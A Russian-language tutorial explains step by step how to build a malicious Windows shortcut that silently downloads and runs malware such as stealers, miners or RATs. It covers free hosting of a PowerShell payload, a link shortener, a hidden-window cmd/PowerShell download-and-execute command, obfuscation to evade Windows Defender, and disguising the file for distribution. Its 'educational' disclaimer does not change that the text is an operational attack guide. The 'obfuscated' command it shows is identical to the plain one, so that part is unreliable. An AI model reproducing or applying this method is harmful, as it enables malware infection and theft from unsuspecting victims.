Как заразить компьютер с помощью обычного ярлыка

Всем салют, дорогие друзья!

Сегодня я расскажу вам об одном интересном приеме, который, несмотря на свою простоту, используется хакерами в реальных атаках.

В этой статье вы узнаете, как хакеры собственноручно создают лоадер, который, в свою очередь, загружает их вирусы на компьютер цели.

• Для начала напомню, что такое лоадер:

Лоадер - это небольшой файл, который в обход файрволлов загружает нужный хакеру файл (вирус - стиллер, майнер, RAT и т.д.) на машину цели и незаметно его запускает. Считается, что грузить файлы с помощью лоадера намного лучше, чем грузить файлы сразу. Так что вещь в хакерском хозяйстве незаменимая.

Как это работает?​

Дисклеймер: данная статья написана исключительно в образовательных целях. И призвана уберечь читателей от атак подобного типа. Я не несу ответственности за ваши возможные действия и ущерб, который они могут за собой повлечь.

Ну, а теперь, давайте разберемся, как это работает!

• Первое, что понадобится - это совершенно любой бесплатный хостинг. Для примера я буду использовать 000webhost.com

• Переходим на сайт -> выбираем бесплатный тариф -> проходим стандартную регистрацию:

• Переходим в панель управления и жмём вот так:

• Создаем новый файл:

• Выбираем наш файл и жмём Edit:

• Вставляем в данный файл следующий текст и сохраняем:

Invoke-WebRequest ссылка_на_файл_вируса -UseBasicParsing -OutFile TEMP.exe ; Start TEMP.exe

• Теперь нам нужно получить ссылку на наш файл. Сделать это очень просто: жмем правой кнопкой мыши по нашему файлу и выбираем View:

• После этого в вашем браузере откроется новое окошко. Перейдите в него и просто скопируйте ссылку из адресной строки браузера:

• Далее идем на сайт сократителя ссылок cuti.cc и вставляем в поле ссылку на .txt файл, который мы создавали выше:

• Отлично, у нас есть сокращенная ссылка. Не теряйте ее.
• Теперь создадим сам ярлык:

• В путь пишем вот это:

C:\WINDOWS\system32\cmd.exe /k powershell -W Hidden powershell -command (Invoke-webrequest -URI "ваша сокращенная ссылка" -UseBasicParsing).Content

• Ярлык-лоадер готов!

Несколько важных моментов​

• Наверняка вам интересно, на кой черт используется сокращатель ссылок?

Ответ прост: прописываемый в ярлыке путь имеет ограничение на длину символов. Исходная ссылка туда не влазит.

• Как хакеры делают так, чтобы Windows Defender не палил лоадер?

Многие используют скрипт обфускации повершелл: https://github.com/danielbohannon/Invoke-Obfuscation, с целью обфусцификации команды которая прописывается в путь. Выглядит она после этого не как выше, а вот так:

-command (Invoke-webrequest -URI "ваша сокращенная ссылка" -UseBasicParsing).Content

• Что делают хакеры, после того, как создали такой ярлык?

На файл ярлыка устанавливается иконка и нужное название файла. Так как у ярлыка не видно расширения, добавляют и его, например, дописав в конце имени файла .txt или любое другое. Если есть нужда увеличить размер файла, то можно накачивают его любым пампером. После этого файл готов к распространению.